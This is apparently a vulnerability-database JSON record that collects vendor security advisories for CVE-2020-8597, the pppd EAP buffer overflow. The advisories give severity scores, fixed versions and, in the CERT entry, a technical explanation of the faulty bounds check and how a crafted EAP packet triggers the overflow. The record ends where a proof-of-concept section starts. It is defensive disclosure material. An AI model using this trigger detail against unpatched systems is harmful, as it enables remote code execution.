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The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an Internet Service Provider (ISP) or other organization over a modem and phone line.\n\nSecurity Fix(es):\n\n* ppp: Buffer overflow in the eap_request and eap_response functions in eap.c (CVE-2020-8597)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttps://lists.centos.org/pipermail/centos-announce/2020-February/085776.html\n\n**Affected packages:**\nppp\nppp-devel\n\n**Upstream details at:**\nhttps://access.redhat.com/errata/RHSA-2020:0630", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T22:14:32", "type": "centos", "title": "ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T22:14:32", "id": "CESA-2020:0630", "href": "https://lists.centos.org/pipermail/centos-announce/2020-February/085776.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "openwrt": [{"lastseen": "2023-12-06T16:55:49", "description": "** DESCRIPTION ** \nA remotely exploitable vulnerability was found in Point-to-Point Protocol Daemon (pppd), which has a significant potential impact due to the possibility of remote code execution prior to authentication. \n\nOpenWrt by default enables the _FORTIFY_SOURCE=1 compiler macro which introduces additional checks to detect buffer-overflows in the standard library functions, thus protecting the memcpy() abused in this overflow, preventing the actual buffer overflow and hence possible remote code execution by instead terminating the pppd daemon. Due to those defaults the impact of the issue was changed to a denial of service vulnerability, which is now also addressed by this fix. \n\n[CVE-2020-8597](<https://vulners.com/cve/CVE-2020-8597> \"https://vulners.com/cve/CVE-2020-8597\" ) has been assigned to this issue. \n\n\n** REQUIREMENTS ** \nIn order to exploit this vulnerability, a malicious attacker would need to provide specially crafted EAP Request packet of type EAPT_MD5CHAP to ppp running in client mode and thus overflowing the rhostname string buffer by providing a very long hostname. \n\n\n** MITIGATIONS ** \nTo fix this issue, update the affected ppp package using the command below. \n \n \n opkg update; opkg upgrade ppp\n\nThe fix is contained in the following and later versions: \n\n * OpenWrt master: 2020-02-20 [reboot-12255-g215598fd0389](<https://git.openwrt.org/215598fd0389> \"https://git.openwrt.org/215598fd0389\" )\n\n * OpenWrt 19.07: 2020-02-20 [v19.07.1-17-g6b7eeb74dbf8](<https://git.openwrt.org/6b7eeb74dbf8> \"https://git.openwrt.org/6b7eeb74dbf8\" )\n\n * OpenWrt 18.06: 2020-02-20 [v18.06.7-6-gcc78f934a946](<https://git.openwrt.org/cc78f934a946> \"https://git.openwrt.org/cc78f934a946\" )\n\n\n** AFFECTED VERSIONS ** \nTo our knowledge, OpenWrt versions 18.06.0 to 18.06.7 and versions 19.07.0 to 19.07.1 are affected. The fixed packages will be integrated in the upcoming OpenWrt 18.06.8 and OpenWrt 19.07.2 releases. Older versions of OpenWrt (e.g. OpenWrt 15.05 and LEDE 17.01) are end of life and not supported any more. \n\n\n** CREDITS ** \nThis issue was identified by Ilja Van Sprundel and code fix was implemented by Paul Mackerras. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-21T10:59:35", "type": "openwrt", "title": "Security Advisory 2020-02-21-1 - ppp buffer overflow vulnerability (CVE-2020-8597)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-21T16:48:22", "id": "OPENWRT-SA-2020-02-21-1", "href": "https://openwrt.org/advisory/2020-02-21-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "mageia": [{"lastseen": "2023-12-06T16:56:00", "description": "Updated ppp packages fix security vulnerability: Ilja Van Sprundel discovered a buffer overflow vulnerability in ppp. When receiving an EAP Request message in client mode, an attacker was able to overflow the rhostname array by providing a very long name (CVE-2020-8597). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-13T00:47:01", "type": "mageia", "title": "Updated ppp packages fix security vulnerability\n", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-13T00:47:01", "id": "MGASA-2020-0139", "href": "https://advisories.mageia.org/MGASA-2020-0139.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2023-12-07T10:35:35", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4632-1 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nFebruary 22, 2020 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : ppp\nCVE ID : CVE-2020-8597\nDebian Bug : 950618\n\nIlja Van Sprundel reported a logic flaw in the Extensible Authentication\nProtocol (EAP) packet parser in the Point-to-Point Protocol Daemon\n(pppd). An unauthenticated attacker can take advantage of this flaw to\ntrigger a stack-based buffer overflow, leading to denial of service\n(pppd daemon crash).\n\nFor the oldstable distribution (stretch), this problem has been fixed\nin version 2.4.7-1+4+deb9u1.\n\nFor the stable distribution (buster), this problem has been fixed in\nversion 2.4.7-2+4.1+deb10u1.\n\nWe recommend that you upgrade your ppp packages.\n\nFor the detailed security status of ppp please refer to its security\ntracker page at:\nhttps://security-tracker.debian.org/tracker/ppp\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-22T11:38:48", "type": "debian", "title": "[SECURITY] [DSA 4632-1] ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-22T11:38:48", "id": "DEBIAN:DSA-4632-1:BD76A", "href": "https://lists.debian.org/debian-security-announce/2020/msg00035.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-22T11:27:45", "description": "Package : ppp\nVersion : 2.4.6-3.1+deb8u1\nCVE ID : CVE-2020-8597\nDebian Bug : 950618\n\nIlja Van Sprundel discovered a buffer overflow vulnerability in ppp,\nthe Point-to-Point Protocol daemon. When receiving an EAP Request\nmessage in client mode, an attacker was able to overflow the rhostname\narray by providing a very long name. This issue is also mitigated by\nDebian's hardening build flags.\n\nFor Debian 8 "Jessie", this problem has been fixed in version\n2.4.6-3.1+deb8u1.\n\nWe recommend that you upgrade your ppp packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-09T18:15:31", "type": "debian", "title": "[SECURITY] [DLA 2097-1] ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-09T18:15:31", "id": "DEBIAN:DLA-2097-1:E54E5", "href": "https://lists.debian.org/debian-lts-announce/2020/02/msg00005.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T17:39:47", "description": "Package : ppp\nVersion : 2.4.6-3.1+deb8u1\nCVE ID : CVE-2020-8597\nDebian Bug : 950618\n\nIlja Van Sprundel discovered a buffer overflow vulnerability in ppp,\nthe Point-to-Point Protocol daemon. When receiving an EAP Request\nmessage in client mode, an attacker was able to overflow the rhostname\narray by providing a very long name. This issue is also mitigated by\nDebian's hardening build flags.\n\nFor Debian 8 "Jessie", this problem has been fixed in version\n2.4.6-3.1+deb8u1.\n\nWe recommend that you upgrade your ppp packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-09T18:15:31", "type": "debian", "title": "[SECURITY] [DLA 2097-1] ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-09T18:15:31", "id": "DEBIAN:DLA-2097-1:1E565", "href": "https://lists.debian.org/debian-lts-announce/2020/02/msg00005.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-22T02:36:46", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4632-1 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nFebruary 22, 2020 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : ppp\nCVE ID : CVE-2020-8597\nDebian Bug : 950618\n\nIlja Van Sprundel reported a logic flaw in the Extensible Authentication\nProtocol (EAP) packet parser in the Point-to-Point Protocol Daemon\n(pppd). An unauthenticated attacker can take advantage of this flaw to\ntrigger a stack-based buffer overflow, leading to denial of service\n(pppd daemon crash).\n\nFor the oldstable distribution (stretch), this problem has been fixed\nin version 2.4.7-1+4+deb9u1.\n\nFor the stable distribution (buster), this problem has been fixed in\nversion 2.4.7-2+4.1+deb10u1.\n\nWe recommend that you upgrade your ppp packages.\n\nFor the detailed security status of ppp please refer to its security\ntracker page at:\nhttps://security-tracker.debian.org/tracker/ppp\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-22T11:38:48", "type": "debian", "title": "[SECURITY] [DSA 4632-1] ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-22T11:38:48", "id": "DEBIAN:DSA-4632-1:A0C17", "href": "https://lists.debian.org/debian-security-announce/2020/msg00035.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntu": [{"lastseen": "2023-10-20T17:37:47", "description": "## Releases\n\n * Ubuntu 14.04 ESM\n * Ubuntu 12.04 \n\n## Packages\n\n * ppp \\- Point-to-Point Protocol (PPP)\n\nUSN-4288-1 fixed a vulnerability in ppp. This update provides \nthe corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM.\n\nOriginal advisory details:\n\nIt was discovered that ppp incorrectly handled certain rhostname values. A \nremote attacker could use this issue to cause ppp to crash, resulting in a \ndenial of service, or possibly execute arbitrary code.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-02T00:00:00", "type": "ubuntu", "title": "ppp vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-02T00:00:00", "id": "USN-4288-2", "href": "https://ubuntu.com/security/notices/USN-4288-2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T20:33:35", "description": "## Releases\n\n * Ubuntu 19.10 \n * Ubuntu 18.04 ESM\n * Ubuntu 16.04 ESM\n\n## Packages\n\n * ppp \\- Point-to-Point Protocol (PPP)\n\nIt was discovered that ppp incorrectly handled certain rhostname values. A \nremote attacker could use this issue to cause ppp to crash, resulting in a \ndenial of service, or possibly execute arbitrary code.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-20T00:00:00", "type": "ubuntu", "title": "ppp vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-20T00:00:00", "id": "USN-4288-1", "href": "https://ubuntu.com/security/notices/USN-4288-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "oraclelinux": [{"lastseen": "2021-07-28T14:25:03", "description": "[2.4.5-34.0.2]\n- Userland headers should always appear before kernel - [Orabug: 27656836]\n (philip.copeland@oracle.com)\n[2.4.5-34]\n- Fixed buffer overflow in the eap_request and eap_response functions\n Resolves: CVE-2020-8597", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-27T00:00:00", "type": "oraclelinux", "title": "ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T00:00:00", "id": "ELSA-2020-0630", "href": "http://linux.oracle.com/errata/ELSA-2020-0630.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:24:45", "description": "[2.4.5-11]\n- Fixed buffer overflow in the eap_request and eap_response functions\n Resolves: CVE-2020-8597", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-27T00:00:00", "type": "oraclelinux", "title": "ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T00:00:00", "id": "ELSA-2020-0631", "href": "http://linux.oracle.com/errata/ELSA-2020-0631.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:24:24", "description": "[2.4.7-26]\n- Fixed buffer overflow in the eap_request and eap_response functions\n Resolves: CVE-2020-8597", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-27T00:00:00", "type": "oraclelinux", "title": "ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T00:00:00", "id": "ELSA-2020-0633", "href": "http://linux.oracle.com/errata/ELSA-2020-0633.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "prion": [{"lastseen": "2023-11-22T01:48:08", "description": "eap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions.", "cvss3": {"cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}}, "published": "2020-02-03T23:15:00", "type": "prion", "title": "Buffer overflow", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2023-11-07T03:26:00", "id": "PRION:CVE-2020-8597", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2020-8597", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cert": [{"lastseen": "2023-12-06T17:35:36", "description": "### Overview\n\npppd (Point to Point Protocol Daemon) versions 2.4.2 through 2.4.8 are vulnerable to buffer overflow due to a flaw in Extensible Authentication Protocol (EAP) packet processing in eap_request and eap_response subroutines.\n\n### Description\n\nPPP is the protocol used for establishing internet links over dial-up modems, DSL connections, and many other types of point-to-point links including Virtual Private Networks (VPN) such as Point to Point Tunneling Protocol (PPTP). The pppd software can also authenticate a network connected peer and/or supply authentication information to the peer using multiple authentication protocols including EAP. \n\nDue to a flaw in the Extensible Authentication Protocol (EAP) packet processing in the Point-to-Point Protocol Daemon (pppd), an unauthenticated remote attacker may be able to cause a stack buffer overflow, which may allow arbitrary code execution on the target system. This vulnerability is due to an error in validating the size of the input before copying the supplied data into memory. As the validation of the data size is incorrect, arbitrary data can be copied into memory and cause memory corruption possibly leading to execution of unwanted code. \n \nThe vulnerability is in the logic of the eap parsing code, specifically in the eap_request() and eap_response() functions in eap.c that are called by a network input handler. These functions take a pointer and length as input using the the first byte as a type. If the type is EAPT_MD5CHAP(4), it looks at an embedded 1-byte length field. The logic in this code is intended to makes sure that embedded length is smaller than the whole packet length. After this verification, it tries to copy provided data (hostname) that is located after the embedded length field into a local stack buffer. This bounds check is incorrect and allows for memory copy to happen with an arbitrary length of data. \n \nAn additional logic flaw causes the eap_input() function to not check if EAP has been negotiated during the Link Control Protocol (LCP) phase. This allows an unauthenticated attacker to send an EAP packet even if ppp refused the authentication negotiation due to lack of support for EAP or due to mismatch of an agreed pre-shared passphrase in the LCP phase. The vulnerable pppd code in eap_input will still process the EAP packet and trigger the stack buffer overflow. This unverified data with an unknown size can be used to corrupt memory of the target system. The pppd often runs with high privileges (system or root) and works in conjunction with kernel drivers. This makes it possible for an attacker to potentially execute arbitrary code with system or root level privileges. \n \nThe pppd software is also adopted into lwIP (lightweight IP) project to provide pppd capabilities for small devices. The default installer and packages of lwIP are not vulnerable to this buffer overflow. However if you have used the lwIP source code and configured specifically to enable EAP at compile time, your software is likely vulnerable to the buffer overflow. The recommended update is available from Git repoistory <http://git.savannah.nongnu.org/cgit/lwip.git>. \n \nThis type of weakness is commonly associated in Common Weakness Enumeration (CWE) with [CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')](<http://cwe.mitre.org/data/definitions/120.html>). A Proof-of-Concept exploit for PPTP VPN Servers with additional tools are [available](<https://github.com/CERTCC/PoC-Exploits/tree/master/cve-2020-8597-pptpd>) in the by CERT/CC PoC repository.\n\n### Impact\n\nBy sending an unsolicited EAP packet to a vulnerable ppp client or server, an unauthenticated remote attacker could cause memory corruption in the pppd process, which may allow for arbitrary code execution.\n\n### Solution\n\n#### Apply updates\n\nUpdate your software with the latest available patches provided by your software vendor. It is incorrect to assume that pppd is not vulnerable if EAP is not enabled or EAP has not been negotiated by a remote peer using a secret or passphrase. This is due to the fact that an authenticated attacker may still be able to send unsolicited EAP packet to trigger the buffer overflow.\n\nIf your software is packaged and created from the ppp source code, please obtain the latest software from github pppd repository. \n<https://github.com/paulusmack/ppp> \nPatch referenced : \n<https://github.com/paulusmack/ppp/commit/8d7970b8f3db727fe798b65f3377fe6787575426> \n \nIn case of lwIP package that is compiled from source with EAP enabled at compile time, obtain the latest software from github \n<http://git.savannah.nongnu.org/cgit/lwip.git> \nPatch referenced: \n<http://git.savannah.nongnu.org/cgit/lwip.git/commit/?id=2ee3cbe69c6d2805e64e7cac2a1c1706e49ffd86> \n \nNote: the latest software also includes ignoring out-of-order or unsolicited EAP packets from being processed as an additional precautionary measure. It is recommended that you use the latest available software from the appropriate Git repository that includes this fix.\n\n#### Proof of Concept (PoC)\n\nA proof-of-concept for testing if a PPTP server is vulnerable to cve-2020-8597 is 